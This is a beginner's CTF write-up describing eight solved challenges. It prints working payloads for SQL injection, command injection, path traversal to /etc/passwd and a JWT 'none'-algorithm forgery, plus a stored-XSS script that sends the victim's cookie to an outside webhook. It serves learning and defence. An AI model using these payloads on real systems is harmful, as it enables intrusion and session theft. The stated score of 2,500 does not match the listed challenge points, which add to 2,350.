My First CTF Win: SIES GST Challenge Writeup

Introduction

In August 2025, I participated in the Capture The Flag (CTF) competition at the CSI Cybersecurity Workshop held at SIES Graduate School of Technology. This was my first major CTF competition, and I'm thrilled to share that I secured 1st place! 🎉

This writeup details my approach to solving the challenges and the techniques I used. I hope this helps other beginners understand CTF problem-solving strategies.

Event Overview

Event: CSI Cybersecurity Workshop CTF
Date: August 2025
Location: SIES GST, Nerul
Format: Jeopardy-style CTF
Duration: 4 hours
Categories: Web Security, Cryptography, Forensics
My Score: 2,500 points (solved 8/10 challenges)

Challenge 1: SQL Injection - "Login Bypass"

Category: Web Security
Points: 200
Difficulty: Easy

Description

Can you bypass the login page and access the admin panel?
URL: http://ctf.siesgst.local:8001/login

Initial Analysis

Upon visiting the URL, I found a simple login form with username and password fields. The first thing I always do is check the source code and try basic SQL injection payloads.

Solution

Testing for SQL Injection
```
Username: admin' OR '1'='1
Password: anything
```
This didn't work, so I tried other payloads.
Successful Payload
```
Username: admin'--
Password: (empty)
```
The -- comments out the rest of the SQL query, bypassing the password check.
Flag Retrieved After successful login, the admin panel displayed the flag:
```
CTF{sql_1nj3ct10n_b4s1cs}
```

Key Takeaways

Always test for SQL injection in login forms
Comment syntax (--, #) can bypass password checks
Understanding SQL query structure is crucial

Challenge 2: XSS - "Cookie Monster"

Category: Web Security
Points: 300
Difficulty: Medium

Description

The admin visits the guestbook every 5 minutes. Can you steal their cookie?
URL: http://ctf.siesgst.local:8002/guestbook

Initial Analysis

This was a stored XSS challenge. The guestbook allowed users to post messages, and an admin bot would visit the page periodically.

Solution

Testing for XSS First, I tested basic XSS payloads:
```
<script>alert('XSS')</script>
```
This worked! The page was vulnerable to stored XSS.

Setting Up Cookie Stealer I set up a simple webhook on RequestBin to receive the stolen cookie:

<script>
fetch('https://webhook.site/YOUR-UNIQUE-ID?cookie=' + document.cookie);
</script>

Payload Injection I posted the payload in the guestbook and waited for the admin bot to visit.

Flag Retrieved Within 5 minutes, I received the admin's cookie:

admin_session=eyJmbGFnIjoiQ1RGe3hzc19jMDBrMTNfc3QzNGwzcn0ifQ==

After base64 decoding:

CTF{xss_c00k13_st34l3r}

Key Takeaways

Stored XSS is more dangerous than reflected XSS
Always sanitize user input
Cookie theft is a common XSS exploitation technique

Challenge 3: Cryptography - "Caesar's Secret"

Category: Cryptography
Points: 150
Difficulty: Easy

Description

Julius Caesar used this cipher to protect his messages. Can you decode this?
Ciphertext: PGS{pn3fne_fuvsg_vf_gbb_rnfl}

Solution

This was clearly a ROT13 cipher (a Caesar cipher with shift 13).

Decoding Using CyberChef or a simple Python script:

import codecs
ciphertext = "PGS{pn3fne_fuvsg_vf_gbb_rnfl}"
plaintext = codecs.decode(ciphertext, 'rot_13')
print(plaintext)

Flag Retrieved
```
CTF{ca3sar_shift_is_too_easy}
```

Key Takeaways

ROT13 is a simple substitution cipher
CyberChef is an excellent tool for quick crypto challenges
Always try common ciphers first

Challenge 4: Directory Traversal - "Hidden Files"

Category: Web Security
Points: 250
Difficulty: Medium

Description

The website has a file viewer. Can you read the flag file?
URL: http://ctf.siesgst.local:8003/viewer?file=welcome.txt

Initial Analysis

The URL parameter file suggested a potential directory traversal vulnerability.

Solution

Testing Path Traversal
```
?file=../../../etc/passwd
```
This worked! I could read system files.

Finding the Flag I tried common flag locations:

?file=../../../flag.txt
?file=../flag.txt
?file=../../flag.txt

Flag Retrieved The flag was located at ../../flag.txt:
```
CTF{p4th_tr4v3rs4l_vuln3r4b1l1ty}
```

Key Takeaways

Always validate and sanitize file paths
Use whitelisting instead of blacklisting
Path traversal can lead to sensitive file disclosure

Challenge 5: Command Injection - "Ping Service"

Category: Web Security
Points: 400
Difficulty: Hard

Description

Test if a host is reachable using our ping service.
URL: http://ctf.siesgst.local:8004/ping

Initial Analysis

The service allowed users to ping IP addresses. This screamed command injection!

Solution

Testing Command Injection
```
IP: 127.0.0.1; ls
```
This worked! I could see the directory listing.
Finding the Flag
```
IP: 127.0.0.1; cat flag.txt
```
Flag Retrieved
```
CTF{c0mm4nd_1nj3ct10n_1s_d4ng3r0us}
```

Key Takeaways

Never pass user input directly to system commands
Use parameterized commands or libraries
Command injection can lead to full system compromise

Challenge 6: JWT Token Manipulation

Category: Web Security
Points: 500
Difficulty: Hard

Description

The API uses JWT tokens for authentication. Can you become admin?
URL: http://ctf.siesgst.local:8005/api

Initial Analysis

After logging in as a regular user, I received a JWT token. I decoded it using jwt.io:

{
  "user": "guest",
  "role": "user",
  "exp": 1693526400
}

Solution

Analyzing the Token The token was signed with HS256 algorithm. I tried the "none" algorithm attack:

Modifying the Token

{
  "alg": "none",
  "typ": "JWT"
}
{
  "user": "admin",
  "role": "admin",
  "exp": 1693526400
}

Removing Signature I created a token with no signature:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJleHAiOjE2OTM1MjY0MDB9.

Flag Retrieved Using the modified token, I accessed the admin endpoint:
```
CTF{jwt_n0n3_4lg0r1thm_byp4ss}
```

Key Takeaways

Always validate JWT algorithm
Disable "none" algorithm in production
Use strong signing keys

Challenge 7: Forensics - "Hidden Message"

Category: Forensics
Points: 200
Difficulty: Medium

Description

We intercepted this image. Can you find the hidden message?
Download: image.png

Solution

Steganography Check I used steghide to extract hidden data:
```
steghide extract -sf image.png
```
Flag Retrieved The extracted file contained:
```
CTF{st3g4n0gr4phy_1s_c00l}
```

Key Takeaways

Images can hide data using steganography
Tools like steghide, binwalk, and exiftool are essential
Always check file metadata

Challenge 8: IDOR - "User Profile"

Category: Web Security
Points: 350
Difficulty: Medium

Description

View your profile at /profile?id=1001
Can you access other users' profiles?

Solution

Testing IDOR I changed the ID parameter:

/profile?id=1000
/profile?id=1002
/profile?id=1

Finding Admin Profile
```
/profile?id=1
```
This displayed the admin profile with the flag:
```
CTF{1d0r_vuln3r4b1l1ty_f0und}
```

Key Takeaways

Always implement proper authorization checks
Don't rely on obscurity for security
Validate user permissions for every request

Final Thoughts

What Worked Well

Systematic Approach: I tackled challenges methodically
Tool Knowledge: Familiarity with Burp Suite, CyberChef, and command-line tools
Time Management: Prioritized easier challenges first
Note-Taking: Documented everything for future reference

What I Learned

Practice Makes Perfect: Regular practice on platforms like TryHackMe helped
Think Like an Attacker: Understanding attacker mindset is crucial
Read Documentation: Many solutions were in tool documentation
Community: Discussing with peers after the event provided new insights

Tools Used

Burp Suite: For intercepting and modifying requests
CyberChef: For quick encoding/decoding
Python: For writing custom scripts
curl: For API testing
jwt.io: For JWT token analysis
steghide: For steganography

Conclusion

Winning my first CTF was an incredible experience! It validated months of learning and practice. The key to success in CTFs is:

Consistent Practice: Use platforms like TryHackMe, HackTheBox, PortSwigger Academy
Learn the Basics: Master OWASP Top 10 and common vulnerabilities
Build a Toolkit: Familiarize yourself with essential security tools
Stay Curious: Always ask "what if?" and test assumptions
Document Everything: Keep notes and writeups for future reference

I'm grateful to the organizers at SIES GST and CSI for hosting this event. Looking forward to more CTF competitions!

Final Score: 2,500 points (1st Place 🏆)
Challenges Solved: 8/10
Time Taken: 3 hours 45 minutes

If you have any questions about the challenges or want to discuss CTF strategies, feel free to reach out!

Happy Hacking! 🔐